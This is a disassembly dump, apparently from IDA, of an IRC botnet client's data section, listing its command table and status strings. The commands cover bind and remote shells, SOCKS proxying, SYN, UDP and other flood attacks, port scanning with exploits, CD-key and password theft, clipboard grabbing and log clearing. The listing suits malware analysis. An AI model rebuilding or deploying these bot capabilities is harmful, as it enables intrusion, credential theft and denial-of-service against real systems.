dword_42C144	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E3o
		dd 2E7473h
unk_42C15C	db  2Dh	; -		; DATA XREF: sub_401ACD+28C8o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C194	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2859o
		dd 2E676Fh
dword_42C1AC	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B4o
		dd 6F666E49h, 2Eh
dword_42C1C8	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2785o
		dd 2E6F666Eh, 0
dword_42C1E4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+2730o
		dd 746F4220h, 2Eh
unk_42C200	db  2Dh	; -		; DATA XREF: sub_401ACD+2714o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42C23C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Fo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Fo
		align 10h
unk_42C260	db  2Dh	; -		; DATA XREF: sub_401ACD+261Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 10h
dword_42C280	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25FAo
aSearchComplete	db '- Search completed.',0
dword_42C2A0	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25AEo
		dd 2E7325h
unk_42C2B8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C2D8	db  2Dh	; -		; DATA XREF: sub_401ACD+2514o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42C300	db  2Dh	; -		; DATA XREF: sub_401ACD+24F5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42C32C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DFo
		dd 72616F62h, 2E64h
dword_42C348	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B1o
		dd 2Dh
unk_42C360	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C38C	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_42C3B0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C3DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C408	db  2Dh	; -		; DATA XREF: sub_401ACD+2468o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C42C	db  2Dh	; -		; DATA XREF: sub_401ACD+2415o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C468	db  2Dh	; -		; DATA XREF: sub_401ACD+23A6o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C4A4	db  2Dh	; -		; DATA XREF: sub_401ACD+22C0o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C4E0	db  2Dh	; -		; DATA XREF: sub_401ACD+2255o
					; sub_40BACE+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C51C	db  2Dh	; -		; DATA XREF: sub_401ACD+214Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C558	db  2Dh	; -		; DATA XREF: sub_401ACD+20DFo
					; sub_40BACE+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C58C	db  2Dh	; -		; DATA XREF: sub_401ACD+202Ao
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42C5AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42C5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42C620	db  2Dh	; -		; DATA XREF: sub_401ACD+1F53o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F28o
					; sub_401ACD+5BEFo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F21o
					; sub_401ACD+5BE8o
		align 10h
unk_42C6A0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C71C	db  2Dh	; -		; DATA XREF: sub_401ACD+1C96o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Do
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Co
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C12o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE8o
dword_42C788	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B98o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B82o
					; sub_401ACD+1BD2o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Do
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B58o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B43o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Eo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B19o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B04o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEFo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1ADAo
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC5o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AB0o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A86o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A71o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Co
unk_42C830	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A03o
					; sub_401ACD+3CB0o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19ECo
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+19CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1996o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403454o
dword_42C898	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Co
dword_42C8AC	dd 6F6877h		; DATA XREF: sub_401ACD+193Fo
dword_42C8B0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
dword_42C8BC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Fo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1916o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1901o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18ECo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D7o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C2o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ADo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1898o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1883o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Eo
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1859o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1844o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Fo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+181Ao
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17F0o
					; sub_401ACD+1805o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DBo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C6o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B1o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1787o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1772o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Do
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1748o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1733o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Eo
aT:					; DATA XREF: sub_401ACD+1709o
					; ___:004382F8o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F4o
unk_42C97C	db  2Dh	; -		; DATA XREF: sub_401ACD+16C0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A2o
		align 4
aI:					; DATA XREF: sub_401ACD+168Do
					; ___:00438304o ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1678o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1663o
					; ___:00438310o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Eo
		align 10h
aQ:					; DATA XREF: sub_401ACD+1639o
					; ___:off_4382E8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1624o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Fo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15FAo
		align 4
aR:					; DATA XREF: sub_401ACD+15E5o
					; sub_401ACD+3DA9o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15D0o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BBo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A6o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1591o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1567o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1552o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Do
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1528o
		align 4
dword_42CA68	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Do
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1518o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FFo
		align 4
dword_42CA88	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EFo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D6o
		align 4
dword_42CAAC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CBo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C6o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ADo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1498o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1483o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Eo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1459o
		align 4
dword_42CAFC	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1430o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1407o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B5o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Co
unk_42CB44	db  2Dh	; -		; DATA XREF: sub_401ACD+1372o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB78	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1337o
					; sub_401ACD+13D3o
dword_42CB88	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1332o
					; sub_401ACD+13CEo
dword_42CB98	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1319o
					; sub_401ACD+13AAo
dword_42CBA8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1314o
					; sub_401ACD+13A5o
dword_42CBB8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B9o
					; sub_401ACD+1425o
dword_42CBC4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o
					; sub_401ACD+1420o
dword_42CBD0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
					; sub_401ACD+13FCo
dword_42CBDC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o
					; sub_401ACD+13F7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1236o
		align 4
dword_42CBF4	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Bo
					; sub_401ACD+12F8o
dword_42CC00	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o
					; sub_401ACD+12F3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Do
		align 4
dword_42CC18	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1202o
					; sub_401ACD+12DAo
dword_42CC28	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FDo
					; sub_401ACD+12D5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E4o
		align 4
dword_42CC44	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D9o
					; sub_401ACD+1358o
dword_42CC54	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D4o
					; sub_401ACD+1353o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BBo
		align 10h
dword_42CC70	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
					; sub_401ACD+127Ao
dword_42CC7C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo
					; sub_401ACD+1275o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1192o
dword_42CC90	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1187o
					; sub_401ACD+125Co
dword_42CC9C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o
					; sub_401ACD+1257o
dword_42CCA8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o
dword_42CCB4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Eo
dword_42CCC4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1159o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1140o
		align 4
dword_42CCE4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
dword_42CCF0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1130o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1117o
dword_42CD04	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EEo
		align 10h
dword_42CD20	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C5o
		align 4
dword_42CD3C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BDo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Fo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+108Ao
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1075o
		align 4
dword_42CD64	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1053o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Eo
					; sub_401ACD+10B8o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1035o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1020o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Bo
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF6o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE1o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCCo
					; sub_401ACD+2D6Ao
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB7o
					; sub_401ACD+2D59o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA2o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Do
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F78o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F63o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Eo
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F39o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F24o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Fo
		align 4
aD:					; DATA XREF: sub_401ACD+EFAo
					; ___:00438314o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE5o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ED0o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB8o
a63		db '63',0               ; DATA XREF: sub_401ACD+D85o
		align 10h
asc_42CE10:				; DATA XREF: sub_401ACD+D5Do
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D20o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D15o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D04o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE8o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD7o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC5o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C57o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B93o
		align 10h
asc_42CE50:				; DATA XREF: sub_401ACD+ABBo
					; ___:0043832Co ...
		unicode	0, <l>,0
unk_42CE54	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE88	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CEB8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CEF0	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CF18	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CF5C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF98	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CFB0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CFB8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFD4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFE0	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA80+1Bo
unk_42CFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42D020	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42D028	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADDo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A73+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A73+16o
unk_42D03C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42D060	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBDo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Fo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177D0:loc_417838o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
